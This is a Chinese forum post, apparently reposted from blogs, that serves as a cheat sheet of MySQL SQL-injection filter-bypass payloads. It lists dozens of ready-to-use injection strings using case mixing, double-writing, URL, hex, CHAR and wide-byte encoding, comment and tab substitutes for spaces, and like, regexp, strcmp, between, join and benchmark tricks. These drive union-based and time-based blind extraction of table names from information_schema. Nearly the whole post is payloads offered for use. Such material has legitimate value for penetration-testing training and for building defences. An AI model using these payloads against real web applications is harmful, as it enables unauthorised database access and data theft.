SQL注入绕过方法

铁佛  金牌会员 | 2023-7-31 22:12:40 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 909|帖子 909|积分 2727

SQL注入绕过方法


目录

参考:
https://blog.csdn.net/zizizizizi_/article/details/124094197
http://wed.xjx100.cn/news/143416.html?action=onClick
一、绕过关键字

1、大小写绕过
举例:
  1. -1' UniOn SelEct 1,2#
复制代码
2、双写绕过
举例:
  1. -1' uniunionon seselectlect 1,2#
复制代码
3、URL编码绕过
举例:
  1. ?id=%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%23
  2. ?id=-1'+union+select+1%2C2%23
  3. url解码:
  4. ?id=-1' union select 1,2#
复制代码
4、内联注释绕过
举例:
  1. -1' /*!union*/ /*!select*/ 1,2#
复制代码
二、绕过引号

1、16进制编码绕过
举例:
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
复制代码
2、URL编码绕过
举例:
  1. ?id=%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%23
  2. url解码:
  3. ?id=-1' union select 1,2#
复制代码
3、ASCII编码绕过
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=concat(CHAR(100),CHAR(118),CHAR(119),CHAR(97))#
复制代码
4、宽字节绕过
  1. -1%df' union select 1,2--+
复制代码
三、绕过空格

1、注释符绕过
举例:
  1. -1'/**/union/**/select/**/1,2#
复制代码
2、内联注释绕过
  1. -1'/*!*/union/*!*/select/*!*/1,2#
复制代码
3、括号绕过
  1. -1' union(select(1),(2))#
复制代码
4、tab键绕过
  1. -1'        union        select        1,2#
复制代码
5、两个空格绕过
  1. -1'  union  select  1,2#
复制代码
四、绕过逻辑符号

1、and绕过
  1. 1' & 1=1#
复制代码
  1. 1' && 1=1#
复制代码
2、or绕过
  1. 1' || 1=1#
复制代码
3、not绕过
  1. 1' and 1!=2#
复制代码
五、绕过等号

原型
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
复制代码
1、like绕过
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema like database()#
复制代码
2、rlike绕过
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema rlike database()#
复制代码
3、regexp绕过
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema regexp database()#
复制代码
4、大小于号绕过
  1. -1' union select 1,group_concat(table_name) from information_schema.tables where !(table_schema<>database())#
复制代码
六、绕过大小于等于号

原型
  1. 1' and if(ascii(substr(database(),1,1))>100,sleep(2),0)#
复制代码
1、greatest、least绕过
  1. greatest():
  2. greatest(n1, n2, n3…):返回n中的最大值
  3. 1' and if(greatest(ascii(substr(database(),1,1)),100)=100,sleep(2),0)#
复制代码
  1. least():
  2. least(n1,n2,n3…):返回n中的最小值
  3. 1' and if(least(ascii(substr(database(),1,1)),100)=100,sleep(2),0)#
复制代码
2、strcmp绕过
  1. strcmp():
  2. strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回-1,其它情况返回1
  3. 1' and if(strcmp(ascii(substr(database(),1,1)),100)=0,sleep(2),0)#
复制代码
3、in关键字绕过
  1. 1' and if(ascii(substr(database(),1,1)) in (100),sleep(2),0)#
  2. 1' and if(substr(database(),1,1) in ("d"),sleep(2),0)#
复制代码
4、between...and..绕过
  1. 1' and if(ascii(substr(database(),1,1)) between 90 and 100,sleep(2),0)#
复制代码
5、like绕过
  1. 1' and if(substr(database(),1,1) like "d%",sleep(2),0)#
复制代码
七、绕过逗号

1、from pos for len,其中pos代表从pos个开始读取len长度的子串
  1. 1' and if(ascii(substr(database() from 1 for 1))=100,sleep(2),0)#
复制代码
2、join关键字绕过
  1. -1' union select * from (select 1)a join (select 2)b#
复制代码
3、like关键字绕过
  1. 1' and if(database() like "%d%",sleep(2),0)#
复制代码
4、offset关键字
  1. 1' union select 1,2 limit 1 offset 0#
  2. 等价
  3. 1' union select 1,2 limit 0,1#
复制代码
八、绕过函数

1、绕过sleep()
(1)benchmark函数
  1. benchmark():第一个参数代表执行次数,第二个参数代表执行表达式
  2. 1' and benchmark(1000000000,1)#
复制代码
2、绕过ascii()
(1)bin函数
  1. bin():转换成二进制数
  2. 1' and if(bin(ascii(substr(database(),1,1)))=1100100,sleep(2),1)#
复制代码
(2)hex函数
  1. hex():转换成十六进制数
  2. 1' and if(hex(substr(database(),1,1))=64,sleep(2),1)#
复制代码
(3)ord函数
  1. ord():给定的字符串,其最左边的字符代码将被查找
  2. 1' and if(ord(substr(database(),1,1))=100,sleep(2),1)#
复制代码
3、绕过group_concat()
(1)concat_ws函数
  1. concat_ws(分隔符,str1,str2):
  2. -1' union select 1,concat_ws(",","@",table_name) from information_schema.tables where table_schema=database()#
复制代码
(2)concat函数
  1. concat():
  2. -1' union select 1,concat(table_name) from information_schema.tables where table_schema=database()#
复制代码
4、绕过substr()
(1)substring函数
  1. substring(str,pos,len):
  2. 1' and if(substring(database(),1,1)="d",sleep(2),1)#
复制代码
(2)mid函数
  1. mid(str,pos,len):
  2. 1' and if(mid(database(),1,1)="d",sleep(2),1)#
复制代码
(3)left函数
  1. left(str,len):
  2. 1' and if(left(database(),1)="d",sleep(2),1)#
复制代码
(4)right函数
  1. right(str,len):
  2. 1' and if(right(database(),1)="a",sleep(2),1)#
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表